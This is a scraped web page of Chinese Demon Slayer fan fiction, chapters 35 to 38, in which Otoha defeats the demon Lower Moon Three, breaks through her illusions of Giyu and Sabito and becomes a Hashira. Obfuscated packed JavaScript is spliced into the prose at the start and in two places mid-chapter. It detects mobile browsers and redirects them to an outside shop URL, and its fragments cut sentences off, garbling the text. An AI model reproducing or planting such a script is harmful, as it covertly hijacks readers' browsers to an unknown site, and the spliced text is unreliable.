RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375056|200056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的蒸笼,连空气都是粘稠的。音叶穿着那身深色的队服,只觉得身上的汗一层一层地往外冒,贴在身上难受极了。 太阳早就已经下山了,但温度丝毫没有下降,吹过来的风仍然还是热风。音叶四处张望,想要找个地方歇歇脚,避避这要命的暑气。 就在这时,她的目光落在一家门面崭新的店铺上,那是一家咖啡店。 这家咖啡店开在京都最繁华的街道上,门面不大,装潢却很新潮。玻璃窗擦得锃亮,上面用金色的日文和英文写着咖啡店的名字。 门口挂着的风铃是西洋式的,风吹过时发出清脆的响声,和日本传统的玻璃风铃很不一样。 自从明治维新以来,这样的西洋风物在日本越来越常见。音叶记得小时候,她跟着健太和真菰上街时还都是传统的茶屋和果子铺,现在却总能看见这样新奇的店铺。听香奈惠说,东京那边更甚。 音叶没有多想,抬脚就往那家店走去。 然而,还没等她走到门口,一股浓重的血腥味就钻进了鼻腔。 音叶的脚步猛地顿住,整个人瞬间紧绷起来。她的手已经按上了腰间的日轮刀,眼神也变得锐利起来。 这个味道——是鬼,并且实力不容小觑。 音叶缓缓靠近咖啡店,透过玻璃门,她看到了店里的景象。 整个咖啡店已经面目全非,鲜血溅满了每个角落,连天花板上都喷溅着暗红色的痕迹。几具尸体七零八落倒在店里,从服装来看大概是咖啡店的老板与应侍生。 一个年轻的应侍生倒在门边,手还维持着伸向门口的姿势,大概是想逃跑,却没能逃出去。 在这一片由人类尸体组成的废墟上,一个穿着旧式和服的少女抬起头。 她看起来和音叶差不多年纪,和服样式花纹素雅,料子却看得出是上好的。头发挽在脑后,身后的系法是已婚女子才会用的太鼓结。 可那张脸,分明还带着少女的稚气,眼角还有一颗小小的泪痣。 此刻那张脸正埋在一具尸体的脖颈处,咀嚼着什么。听到动静,她抬起头。 那张脸上沾满血迹,嘴角还挂着一丝血肉,可那双眼睛却带着与眼前景象格格不入的天真。她歪了歪头看着音叶,像是在辨认什么,瞳孔深处却闪烁着某种危险的光芒。 而在她脚边躺着一个孩子,那孩子大概五六岁的模样,脸朝着音叶的方向。他的眼睛还睁着,瞳孔却已经涣散,脸上凝固着一个匪夷所思的表情——委屈、困惑还有一丝恐惧。 音叶的目光从那个孩子身上扫过,又快速扫过店里其他人的脸。那些人的脸上都浮现着出乎意料的表情,像是死前被编织进了一场虚无的噩梦中。 少女已经站直了身体。她抬手擦了擦嘴角,动作优雅得像是在擦拭茶渍。她的笑容天真无邪,仿佛她刚才做的不是吃人,而是一顿再寻常不过的午饭。 音叶无法忽略她眼中的数字——下弦·叁。 “鬼杀队的人?”少女歪着头问,声音优雅,带着某种不符合年龄的成熟,“你是来杀我的吗?” 36. 叠影 音叶没给她把话说完的机会。 她的手已经搭上刀柄,拇指顶开刀镡,刀光一闪,下弦三的右手齐腕而断。 断手落在地上,手指还在微微抽搐,鲜血从断口涌出来,溅在音叶的袖口上。那只鬼低头看着自己的断手,迷惑地眨了眨眼,像还没反应过来发生了什么。 断口处开始重新生长:骨骼从断面延伸出来,肌肉和血管缠绕其上,白皙的皮肤覆盖上去。不过几秒钟的时间,手就已经变回了原样。 下弦三活动着新生的手指,看向音叶,眼角的泪痣随着她勾起的嘴角微微上翘,动作依然优雅,像一位贵族小姐在欣赏自己新做的指甲。 “真是心急呢,”她的声音里没有一丝恼怒,反倒带着一种让人火大的语气,“连句话都不让人说完。” 音叶的刀横在身前,刀尖对准她的咽喉:“你知道我为什么没直接砍你脖子吗?” 下弦三亲昵地贴在日轮刀上,刀刃压进皮肤,血珠顺着刀身滑落,而她像完全感觉不到疼一样。 “因为我刚才在想,”音叶的目光从她脸上移到地上那些尸体上,咬牙切齿,“你这种鬼,一刀杀了太便宜了。” 下弦三闻言,反而笑出了声。她提起和服下摆,向前走了一步,裙摆扫过地上的血渍,在地板上拖出一道蜿蜒的痕迹,姿态优雅得像在出席一场茶会。 “我从前遇到的队员可不会这样跟我说话,”她踮起脚尖,凑近音叶的耳边,温热的气息拂过她的耳廓,“还是说,你比他们厉害得多?” 音叶厌烦了这种对峙,她不想搭理这只恶鬼,只是调整呼吸的节奏,握紧日轮刀,随时准备出手。 面前的少女,或者说下弦三站在原地,歪着头打量音叶,目光从她棕褐色的发梢一路往下扫,落在她被汗水微微浸湿的衣领上。 “说起来,”她忽然开口,语气悠闲得像在闲聊,“你这个年纪的女孩子,在我们那个年代,早就该嫁人了。” 音叶握刀的手倏然收紧,指腹磨过刀柄上的纹路,传来细微的刺痛。她的目光冷了下来,刀尖微微下压,几乎要触到和服少女的肌肤。 “有心上人了吗?”她继续问,声音里带着一种长辈关心晚辈的意味,和她脸上沾着的血迹形成诡异的对比,“像你这样的女孩子,应该有不少追求者吧?” 音叶的刀斩了出去,刀刃带着凌厉的风声,切入下弦三的肩颈处,鲜血喷溅而出,溅在她的脸颊上,温热的触感顺着下颌线滑落。 下弦三任由刀锋在她肩上留下一道深可见骨的伤口,甚至还有空闲抬手,轻轻整理了一下有些散乱的鬓发。 “看来是被我说中了。”不过一句话的工夫,伤口愈合的瞬间,她甚至还抬手擦了擦嘴角的血渍,“让我猜猜……是我在你记忆里看到的那两个男孩中的一个?” 音叶的刀不间断地斩来,带着几分泄愤般的急躁。 下弦三侧身避开,和服下摆在半空中展开,像一只翩然翻飞的蝴蝶。动作依然从容,甚至带着几分悠闲。 “那个不爱说话的孩子?”她一边闪避一边说,声音里带着笑意,却让人不寒而栗,“看起来冷冰冰的,其实心思比谁都细。” 音叶的刀从她耳边擦过,削断了几根发丝。 “还是那个脸上有疤的?”下弦三继续说,脚步轻巧地退开几步,“责任感强得能把人压垮,这种人……” “闭嘴!”音叶大声呵斥道。 下弦三停下脚步,看着音叶,眼睛里闪烁着某种近乎天真的光芒。 “生气了?”她问,“是因为我说中了,还是因为我猜错了?” 音叶深吸一口气,空气里弥漫着血腥味和夏天特有的闷热,黏稠得像是要把人裹起来。她的心情确实不好——谁在任务途中撞上十二鬼月,心情都不会多么愉悦的。 “我没功夫听你说这些弯弯绕绕的东西,”音叶把刀尖重新对准下弦三的咽喉,“你应该珍惜自己最后的时刻。” 下弦三听完,那张沾满血迹的脸上浮现出一种近乎愉悦的表情,眼角的泪痣随着她弯起的眼睛格外醒目。她提起和服袖子,轻轻掩住嘴角,动作优雅得像一位真正的贵族小姐。 “最后的时刻?”她重复了一遍,像听到了什么有趣的笑话,“你觉得自己能杀我?” “为什么不能?” 音叶的话音落下,身形瞬间欺身而上。日轮刀带着破风的锐响,朝着下弦三的脖颈斩去。 下弦三向前走来,她的和服下摆在地板上拖出一道由血液组成的痕迹。那痕迹蜿蜒曲折,像是一条暗红色的蛇,缠绕着桌脚,最终消失在咖啡店的角落。 “你知道吗,”她的声音轻柔,“活在这世上的每一个人都很虚伪。” 音叶不想再听她讲这些废话,她调动呼吸法,一刀挥过去。 下弦三侧身避开,刀锋贴着她的衣襟划过,削断了一根系带。 “那些死去的人,”她继续说,手指指向地上的尸体,“你看看他们的脸。” 音叶的目光从她身上移开,落在最近的尸体上。那是一个年轻的应侍生,脸朝天花板,眼睛半睁着,表情凝固在死亡的瞬间,充斥着深深的疲倦。 “他,”下弦三用脚尖踢了踢那具尸体,“每天都很忙,老板给的工钱也不多,他还要在客人面前笑着端咖啡、送蛋糕。” 她的目光一一扫过每一具尸体,他们临终前脸上的表情像在诉说着生前的状态。音叶听到下弦三用一种玩味的语气讲着每个人的身份。 “你觉得我在编故事?”下弦三看着她,眼睛里是一种近乎残忍的坦诚,“这些都是我在吃他们的时候看到的。” 她摊开双手,新生的手指白皙修长。 “每一个活着的生命都是虚伪的,”她说,“只有死的时候,那些伪装才会掉下来。” “你说完了吗?”音叶问。 下弦三面色微变,似乎不满意她的态度。 “说完了就上路吧。” 下弦三站在原地,看着音叶的刀劈下来,嘴角还挂着那个优雅的笑容。就在刀锋即将触及脖颈的瞬间,她的身形忽然模糊了。 音叶的刀斩空了。 和服少女出现在几步开外,姿态依然从容。但她的呼吸已经没有刚才那么平稳了,额头上渗出细密的汗珠顺着白皙的脸颊滑落,砸在和服上晕开一小片湿痕。 那个优雅的笑容还挂在脸上,却已经十分勉强,分明是已经到了极限,却依然还在强撑着。 “真危险呢……” “差点就被你砍到了。” 音叶没给她喘息的机会,刀身一转,再次欺身而上。 下弦三迎上来,手中不知什么时候多了一根发簪——从自己头上拔下来的,细细的银簪在她指尖转动,像一柄微缩的短刀。她用这根簪子格挡音叶的刀,金属碰撞的声音清脆刺耳。 “你不想知道吗?”下弦三一边格挡一边说,呼吸声已经粗重起来,“那两个男孩心里真正想的是什么?” 音叶的刀压下来,下弦三被迫后退一步。 “你不想知道那个不爱说话的男孩,每次看着你的时候在想什么?”她继续说,银簪在刀身上划出一串火花,“你不想知道那个脸上有疤的男孩,为什么总不让你看到他真正的样子?” 音叶的刀突然加力,下弦三手中的银簪脱手飞出。 她失去了武器,脸上闪过一丝转瞬即逝的慌乱。但她很快就反应过来,退后两步和音叶拉开一点距离,手指在身前轻轻一划。 “让我给你看看。” 眼前的景象扭曲起来。 这一次已经和莲月一战时不同了,音叶知道这是幻术,也做好了准备。但当她看清那些影像时,握刀的手还是不受控制地颤了一下。 幻象之中出现的是义勇。 他站在一条陌生的街道上,周围是来来往往的行人,却没有一个人留意到到他的存在。他穿着那身熟悉的队服,黑发绑在脑后,发质依然是那样有些粗糙。那张总是平静的脸上,此刻却带着一种音叶从未见过的神情。 不屑、轻蔑,以及仿佛在俯视蝼蚁的眼神。 他面前跪着一个老人,额头贴着地面,身体剧烈颤抖。而义勇只是站在那里,低头看着他,那双深蓝色的眼睛里没有一丝温度。 “求求你,”老人的声音沙哑颤抖,“求求你救救我的孙女,她被鬼抓走了,我知道你是鬼杀队的,你一定可以……” “凭什么?”义勇的声音传来,带着彻骨的冷漠。 “凭什么我要救你的孙女?” 老人猛地抬头,布满皱纹的脸上淌满泪水,双眼圆睁,写满了不敢置信与绝望。 义勇没有再多看一眼,竟然真的转身就要走,决绝得仿佛从未听见那声哀求。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375057|200056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “义勇……” 音叶听到自己的声音,沙哑干涩,完全不像平日的自己。 “那是假的。”她死死攥紧刀柄,指节泛白,在心底反复告诫自己,“那是鬼捏造的幻象,不是真的。” 但这个幻象太过真实,义勇的每一个表情、动作甚至于最细微的神态都像极了真正的他,但这绝对不是他会做出来的事。 画面骤然一转,锖兔的身影落入音叶的视野。 他站在一座道场里,十几名年轻剑士恭谨地跪坐于榻榻米上,个个垂首屏息,连大气都不敢出。锖兔背手立在众人前方,银紫色的眼眸扫过全场,目光锐利如刀。 “就凭你们,”他语气里是毫不掩饰的嘲讽,“也配学水之呼吸?” 一名年轻剑士壮着胆子抬头,刚想开口辩解,锖兔的视线骤然锁定在他身上。那人瞬间像被扼住了喉咙,张着嘴却一个字也吐不出来,脸色惨白。 “师父收你们做弟子,是因为他心软,”锖兔继续说,一步步走向那个抬头的剑士,“但我从来不心软,你们这种废物,连最基本的呼吸都掌握不好,有什么脸面坐在这里?” 他在那个剑士面前停下,日轮刀架在他脖子上,居高临下地看着他。那道从耳边蔓延到嘴角的疤显得格外狰狞。 “滚出去。” 那个剑士浑身一颤,站起来踉跄着跑了出去。其他人大气都不敢出,头垂得更低了。 锖兔的目光扫过剩下的人,嘴角扯出一个冷笑:“你们也一样。一个月后如果还达不到我的要求,我会亲手杀了你们。” “假的……”音叶紧紧闭上眼,牙关咬得发疼,一字一顿地低语,“全都是假的。” “当然是假的。” 下弦三的声音从四面八方传来,轻柔得像在哄一个不听话的孩子。 “但假的东西,未必就不是真的。” 音叶睁开眼睛,幻象消散,她又回到了那间血腥的咖啡店里。下弦三站在她面前,保持着刚才按住她手腕的姿势,脸上的笑容温柔又天真。 “你认识他们,对不对?”下弦三轻声开口,语气带着笃定,“那两个少年,我在你的记忆里,清清楚楚看到了他们。” “看到了吗?”她说,“这才是他们真正的样子,不是什么可靠的同伴,只是两个连真实内心都不敢表达出来的……” “够了。” 音叶额头青筋暴起,因极致的愤怒与紧绷而突突直跳,握住日轮刀的手气得不住发抖,刀身都随之轻颤。 “你觉得,”音叶一字一句地说,“你给我看这些,我就会相信你?” 她不等下弦三开口,厉声打断:“你给我看的东西,都是你自己关于他们的臆想。连面都没见过的人,你觉得我会相信你的鬼话?” 下弦三的笑容在脸上凝固了一瞬,眼底闪过一丝错愕。 “义勇和锖兔,”音叶说,刀尖对准她,“不是你说的那样。” “你怎么知道?”下弦三|反问,“你怎么知道他们心里真正的想法?你怎么知道他们没有那些阴暗的、见不得人的……” “因为他们是我的朋友。”音叶的刀斩了出去,“我不允许你这样侮辱我的朋友……!” “霖之呼吸——四之型·雨燕回。” 幻象像玻璃一样碎裂,虚假的义勇和锖兔在刀光中化为碎片。 下弦三向后倒飞出去,撞在身后的墙壁上。左肩到右腹横着一道深深的伤口,鲜血涌出来,把她的和服染成暗红色。 她靠在墙上,低头看着自己的伤口,脸上的笑容终于维持不住了。那张脸上不再有从容和优雅,只剩下一种被看穿的恼羞成怒。 “你……”她喘息着说,声音里的从容已经完全消失,取而代之的是一种沙哑的、带着恨意的声音,“你真的以为你了解他们?” 音叶没有回应,只是沉默地握紧日轮刀,向前走了一步。 下弦三的伤口愈合得越来越慢,她能感觉到自己的极限正在逼近,而面前这个鬼杀队的剑士比她想象的强太多……她已经没有多少体力继续维持这场战斗了。 下弦三抬起手,手指在身前画出复杂的印记,鲜血从指尖渗出来,在空中凝成一个诡异的图案。 “那就让你看看,”她说,声音变得低沉,“你自己最不为人知不敢面对的一面吧……” 血鬼术再次发动。 37. 幻象 扭曲的幻象如潮水般向音叶涌来,激得她险些站不住脚。她感受到大脑中有一双无形的手在翻看她的记忆,逼着她去面对最不想回忆的过去。 雾霭笼罩着整座山,山后的竹林空荡荡的,一阵疾风吹过,竹叶之间摩挲出细碎的声响。 ……是狭雾山的那片竹林。 雾气中隐约传来低语声,她循着声音望过去,下意识地把手中的日轮刀握紧了,指节因为用力而泛白。 那是一个极其熟悉的面孔,五官与音叶有几分相似之处,深棕色的头发披在脑后,几缕碎发被风吹到脸颊边,她也没有伸手去拨。年岁看起来倒比音叶大很多,她怀里抱着一个被包单裹起来的婴儿,正熟睡着。 音叶的呼吸停了一瞬。 她很快就明白过来,这个人大概是她的母亲,从骨血深处涌上来的熟悉感是骗不了人的。 很快,她的猜测得到了证实,鳞泷左近次从小屋里走出来,模样比现在要年轻许多,额头上还没有那么多皱纹,显得整个人比音叶记忆中的样子更加温柔。他穿着一件洗得发白的里衣,外衫随意地搭在肩上,显然是匆忙出来的。 穿着菖蒲纹羽织的女性上前一步,音叶这才看清母亲的全貌。她的羽织下摆沾着泥点,草履的绑带也松了一根,像是赶了很远的路,此刻正小心翼翼地将孩子放在鳞泷左近次的怀里。 婴儿在交接的瞬间微微动了动,却并未醒来,似乎对这趟颠簸的旅途浑然不觉。鳞泷左近次低头看着怀中小小的生命,那张皱巴巴的小脸还没有长开,却已隐隐能看出几分与她母亲相似的模样。 “弥青,这孩子……叫什么名字?”鳞泷左近次轻声问道,声音里带着一种年长者特有的沉稳与温柔,他一只手托着婴儿的后脑,动作还有些生疏。 “音叶,”被叫作弥青的声音比方才更轻了些,像是怕惊扰了孩子的安眠,“她叫音叶。” 她的目光落在女儿的脸上,久久没有移开。那双与音叶极为相似的眼眸里翻涌着太多难以言说的情绪,最终都化作了一种近乎残忍的克制。 鳞泷左近次抬眼看向弥青,沉默片刻后问道:“你真的想好了?” 弥青的指尖微微蜷缩了一下,攥紧了羽织的袖口。 “我没有别的选择,”她开口,“他那边……鬼杀队的研究到了最关键的时候,他走不开,也不该被分心。” 她顿了顿,目光始终没有离开鳞泷怀中的孩子。 “而我……队里的任务不会等我,那片区域的鬼活动太反常了,我不得不去查看。” 弥青终于下定了决心,不再多看孩子一眼,转过身去,菖蒲纹的羽织在风中扬起,划出一道利落的弧线,脚步也没有半分迟疑。但音叶看见她垂在身侧的手在发抖,指甲几乎要嵌进掌心。 音叶顿在原地,远远地看见母亲离开的背影。眼睛不由地有些泛酸,她用力眨巴眼睛,企图让眼泪不要这么快掉下来。 天崩地裂之际,幻象再次发动。还是那片竹林,母亲与鳞泷左近次已经消失在幻象中,出现在音叶眼前的是穿着鲜花图案、无袖短和服的真菰。 她还是音叶记忆中的模样,拿着爷爷给的木剑,一遍又一遍不知疲惫地挥舞着。 音叶走上前去,惊奇地发现自己已经比记忆中的真菰长高了许多,她垂下头,看着面前还是瘦小的女孩挥剑。 真菰并不能看见她,还在拼尽全力地练习基本功,说来也是,这不过是她最不想面对的回忆罢了。 对于鳞泷音叶而言,从小到大最害怕的东西莫过于失去,而伴随她成长的恰恰就是各种各样的失去。 她被托付给鳞泷左近次后没多久便失去了父母,成长的过程中也在不断失去每一个对她好的师兄师姐,让她真正意识到生死离别也是因为失去了真菰和健太,所以她不能再接受任何意义上的失去了。 音叶握紧手中的日轮刀,闭上眼睛,掩住心底的所有情绪,嘴角勾起一个小小的弧度。手中的力道不减半分,使出全力挥出一击:“霖之呼吸——五之型·霖铃响。” 幻象被彻底击碎,音叶脑海中那些不愿面对的回忆如同碎玻璃般支离破碎地散落一地。 下弦三躲避着音叶接连不断的斩击,身形在狭小的空间里左支右绌,身上伤口愈合的速度也愈发缓慢。 从战斗开始就一直挂在脸上,像面具一样一成不变的从容,终于消失了,她的嘴唇在抖,眼角的泪痣因为面部肌肉的抽搐而挪动了位置,看起来滑稽而可悲。 “你怎么……”她的声音在发抖,那个一直保持着贵族式优雅的声音,此刻却因为过于尖锐而导致破音。 “你怎么可能……你明明看到了……你明明看到了那些……” “你给我看的回忆的确是我不想面对的,”音叶手上的动作没有停下来,“你猜的很对,我确实很害怕失去。” “但那又怎么样?”音叶向前走了一步,“失去的一切都不能再拥有,我现在能做的就是让自己不再失去任何人……” 下弦三被音叶逼得退无可退,她的后背撞上了墙壁,发出一声沉响。 “你不应该这样……”下弦三的声音突然变得癫狂,她自言自语着,描述着这一切应该按照她的设想而进行。 “我应该什么样?” 音叶站在她面前,保持全集中呼吸,将手中的剑向前一挽,瞄准着下弦三的脖子砍去,她咬着牙躲过,身体以一个不自然的角度扭转,堪堪避开了致命的一击。 “应该像你一样吗?” “把自己伪装成一个什么都不在乎的贵族小姐,”音叶说道,“然后把自己不想面对的一切都抹去,假装从来没有发生过。” 音叶看着下弦三的眼睛,试图从她的眼睛里看出一丝忏悔,可惜并没有。 “你说活在这世界上的每一个人都很虚伪。你说只有死的时候,那些伪装才会掉下来。” 音叶扬起嘴角,挑衅地说道:“那是因为你自己就是这样的人吧?” 下弦三的脸以肉眼可见的速度扭曲了,这幅模样把音叶给惊到了——她的眉毛拧在一起,嘴角抽搐着往下撇,鼻翼翕动,眼角的泪痣被挤到一边,挤成一个丑陋的表情。 “你……” 她的手指在身前疯狂地划动,鲜血从指尖飙出来在空中炸开。她似乎已经预料到自己必死的结局,却仍然还在负隅顽抗。 她想要毁掉音叶:“我会给你致命一击……” 音叶再次陷入幻象,但她没有足够的耐心再去陪下弦三玩躲猫猫、猜心事的游戏了。 她挥刀一斩,没有变化。 刹那间,她置身于一片紫藤花海之中,那是她回忆中最终选拔的那座山。音叶看见了锖兔和义勇,他们穿着与记忆中相差无几的羽织,从紫藤花的间隙中穿行而过。 锖兔走在前面,淡橘色的头发在阳光下泛着温暖的光泽,侧脸那道从耳边蔓延到嘴角的疤在光影交错中若隐若现。义勇跟在他身后半步的位置,黑发绑在脑后,发质有些粗糙,几缕碎发从绑带里逃出来,垂在耳侧。 她左右看了看,却没能发现自己的身影…… 这是血鬼术的哪一招? 音叶谨记自己还在战斗,仍然保持着高强度的警惕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375058|200056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。她的目光追随着义勇的身影,看到他在遇到第一只鬼的时候就受了伤,被锖兔托付给村田照顾。 看到锖兔一个人在这七天七夜里几乎杀光了最终选拔里的所有鬼,一切都是那么顺利。 直到—— 直到——那只手鬼的出现。 在这个没有音叶的世界里,锖兔的刀还是断了,却没有人拦腰抱住他躲过手鬼致命的攻击。音叶站在一旁,听见了骨头碎裂的声音,狐狸面具也被打碎了,露出他原来的脸。 血液四溅……那双银紫色的眼睛在没有呼吸时还睁着,瞳孔涣散。 “锖兔!!!”音叶控制不住地大喊道。 画面并没有因为她的呐喊就停留,而是闪过一幕又一幕,最终停留在狭雾山后山的墓地上。义勇跪在墓前,黑发绑在脑后,他低着头,看着墓碑上的字,那双深蓝色的眼睛无声地流着眼泪。 音叶看到义勇把自己封闭起来,几乎拒绝了所有人的好意,不顾伤势地拿起刀练习水之呼吸,那双深蓝色的眼睛如同干涸的荒原,再也看不到光亮的出现。 音叶感觉身体里五脏六腑似乎被人狠狠地搅拌过,似乎每一个器官都感受不到彼此的存在。 ……她不能接受。 她不能接受这个世界里义勇和锖兔的命运。 她的意愿硬生生将那些幻象挡住了,音叶甚至没有拔出日轮刀,仅凭她的意志便将那些精心编织的幻象便开始从边缘崩解。 下弦三的血鬼术被一股蛮横的力量掐住了咽喉,她看到音叶很快走出幻象,毫发无伤,表情甚至都没有变化几分。 “不可能……”她的声音在发抖,“这不可能……” 幻象彻底崩碎的那一刻,反噬的力量击中了下弦三自己的胸口,她闷哼一声,嘴角溢出血来。 音叶站在原地,攥紧日轮刀,眼神清明得可怕。 “游戏结束了。”她的声音不高不低,却带着一种不容置疑的笃定,“我不会让他们变成那样的。” 下弦三还没来得及理解这句话的意思,耳边就听到少女澄澈的嗓音:“霖之呼吸——十之型·霖雨终。” 头颅飞起来的瞬间,她脸上的表情还凝固在惊恐之中。她的嘴唇翕动了几下,像是想说什么,却只发出一声尖锐的、气急败坏的嘶鸣,在空气中划出一道刺耳的弧线,然后戛然而止。 “啊……你……!” 下弦三的身体开始崩解,黑色的碎片从断颈处炸开,那双一直维持着优雅从容的眼睛此刻瞪得滚圆,瞳孔里倒映着音叶的轮廓和那把还保持着斩击姿态的日轮刀。 “你不应该……最后不应该是……” 话音未落,她的头颅也碎成了黑色的灰烬消散在夜风中。 音叶将日轮刀收入鞘中,刀刃与刀鞘摩擦发出一声清脆的声响。 她抬手擦了擦脸颊上溅到的血迹,低头看见自己的羽织被划开了几道口子,露出里面浅浅的伤口。血已经止住了,那些伤口边缘泛着淡淡的粉色,正在以肉眼可见的速度愈合。 伤势过轻,音叶甚至没反应过来是什么时候留下的。不过没关系,恶鬼已经被消灭了。 悠子从夜空中盘旋而下,黑色的翅膀掠过月光。这只平日总是叽叽喳喳、喜欢落在音叶头顶胡闹的鎹鸦,此刻却收起了所有活泼,以一种肃穆的姿态在她头顶盘旋了一圈,然后稳稳地落在她伸出的手臂上。 “甲级队员鳞泷音叶,斩杀下弦之三……” 悠子的声音在窄小的咖啡馆显得格外响亮,一字一顿地传达产屋敷耀哉下达的指令:“主公大人特许,成为霖柱。” 38. 主公的召见 听到悠子传达的指令,音叶并没有太过惊讶。 在甲级队员的基础上打败十二鬼月或者是消灭五十只鬼,这是成为柱的必要条件。 悠子扑棱着翅膀,转眼间就恢复了活泼的模样,站在音叶的手臂上,昂起胸脯,这架势看起来比音叶本人还激动,欢呼道:“音叶、音叶!终于成柱了……成柱了!” 音叶轻轻顺着悠子的羽毛,心里的沉痛仍然没有放下。 她来得还是太晚了。 下弦三身后不远处的孩子还睁着双眼,满脸的委屈像是在控诉音叶怎么来得那么晚。音叶蹲下,为那孩子闭上了双眼。 如果能早一些察觉,如果能再快一点赶到,或许这些人还能活着。他们只是在普通的一天里喝一杯咖啡,却要因为鬼的食欲而失去生命,这太不公平了。 正出神间,一阵嘈杂的脚步声和说话声从巷口传来,打破了凝重的沉默。 “哈哈哈……!看来这里的事情已经解决了啊!” 来者声音洪亮,带着一股不容忽视的气势。音叶循声望去,只见一个高大的男人大步流星地走来。 金色的头发散在脑后,发丝间夹杂着鲜艳的红色,在月光下格外醒目。他有着同样赤红的瞳孔,圆而明亮,眉毛上扬着,配上一张线条利落的面容,整个人看起来像一只大猫头鹰。 音叶脑海里莫名冒出这个念头。 面前来的人正是现任炎柱炼狱槙寿郎,他额头上还冒着汗,看得出来是匆匆赶过来的。身后还跟着一群身着黑色制服、头戴面具的隐部队成员,正安静而高效地开始处理战场。 音叶立刻收敛心神,转过身面向炼狱槙寿郎。她将双手交叠在身前,微微欠身,脊背却挺得笔直,动作标准而恭谨。 柱是鬼杀队地位最高的存在,尽管她已经成柱,但面前这位是成柱多年的大前辈,必须要做到礼数周全。 “炼狱前辈。” 炼狱槙寿郎上下打量了她一番,目光在她身上停留片刻,突然哈哈大笑起来,那笑声爽朗又敞亮。 “我收到消息就急忙赶过来了,生怕错失了一个有能力的后辈……没想到啊……” 炼狱槙寿郎重重地拍了拍音叶的肩膀,力道大得让她的身形晃了一下。 “好!真是太好了!几乎没怎么受伤就干掉了一只下弦,真是了不得啊……” “真不愧是弥青的孩子……简直和弥青是一个模子里刻出来的……真是好啊……” 音叶的呼吸微微一滞,她记得母亲的名字,自然知道槙寿郎口中的弥青就是母亲。 听到槙寿郎提起母亲,音叶心中泛起一阵波澜,猝然抬起头,眼睛亮闪闪地看着槙寿郎,渴望从他口中得知更多关于父母的消息。 炼狱槙寿郎看到她的表情,顿时了然。他收起拍肩膀的手,脸上的笑意变得更加明朗,甚至带着几分对于孩子的疼惜。 “哈哈哈……别用这种眼神看我嘛,”槙寿郎双手抱臂,语气爽快,“从今天起我们就是同僚了,如果你想知道你母亲的事,随时可以来找我,我知道的都会告诉你!” 音叶的喉头动了一下,最终只是郑重地点了点头:“……是,多谢炼狱前辈。” 消息总是传得很快,鬼杀队有自己独特的联络通信模式。悠子早就已经飞走了,音叶大概猜得到,凭借悠子的性格,肯定会将她成为柱的事情在第一时间传递出去。 不论是通过什么渠道,有人晋升为柱这种事情,几乎是在确认的瞬间就会沿着各种渠道扩散开去。 所以当音叶踏着夜色回到小院时,院门口的两个人显然已经等候多时了。 锖兔靠在门框上,双手抱臂,幽幽地望着音叶走过来,他那副表情似乎早就知道音叶会在今天成为柱似的。 义勇站在锖兔身旁,一如既往地表情不大,只是那双深蓝色的眼睛在看到音叶身影的瞬间,微微亮了一下。 音叶看着眼睛里有神的义勇和活着的锖兔,心里涌起一股温热。 真好啊。 锖兔并没有被手鬼吃掉,义勇也没有失去眼神里的高光。 “回来了,”锖兔率先开口,语气里带着笑意,“我们的新晋霖柱大人。” 音叶脚步一顿,有些无奈地看了他一眼:“……你们已经知道了。” “当然知道了,”锖兔直起身来,朝她走了两步,“这种消息怎么可能瞒得住,空缺的柱位那么多双眼睛盯着,更何况你作为甲级队员斩杀下弦之三,这是鬼杀队头条消息啊……” 他说着,目光随着音叶地走近看到了眼前的人,灯光下音叶身上那件被血浸透的羽织也被照得发亮,锖兔语气里的轻快顿时收敛了几分。 义勇同时也在一旁看到音叶羽织上的血迹,他快步走到音叶面前,双手按住了她的肩膀,动作急促,带着一丝不易察觉的慌乱。 “你受伤了?” 少年的声音低沉,带着变声期的沙哑,眉头拧得很紧,嘴唇几乎抿成一条直线。义勇的目光在用着近乎执拗的态度在她身上来回扫视,像是在寻找伤口的位置。 音叶看着义勇这副模样,心脏似乎膨胀了一下,很快又漏气瘪下来,她抬手轻轻拍了拍义勇紧抓在自己肩上的手背。 “没事了,义勇,这不是我的血,”她顿了顿,声音放轻了一些,“是下弦三的。” 义勇的手终于松了一些,但眉头却没有展开,他安静了片刻,低声说了一句:“……你没事就好。” 锖兔适时地走上前来,一把揽住音叶的肩膀,语气恢复了往日的轻快:“行了行了,有什么事明天再说吧……你今天也够累的了,现在最需要的是洗个热水澡,把这一身血和汗都冲掉……走吧,我去给你放水。” 他推着音叶往屋里走,却在经过义勇身边时,微微侧头看了他一眼。 义勇始终没有开口。 他站在院子里,看着音叶被锖兔推进屋。月光落在他身上,将他的表情映得有些模糊,过了一会儿,他像是终于下定了什么决心,转身跟了进去。 浴室的门虚掩着,里面传来锖兔放热水的声音,义勇站在门外几步远的地方,看着正要进去的音叶。 “音叶。” 义勇叫住了音叶。 音叶回过头,月光从窗棂间洒进来,在他们之间铺开一片银白。义勇站在那片月光里,表情认真,声音坚定。 “我会努力成为柱的。” 他的声音很平静,但那双深蓝色的眼睛里翻涌着坚决的情绪,像是深海之下暗藏的激流。 “我要保护我想要保护的人。” 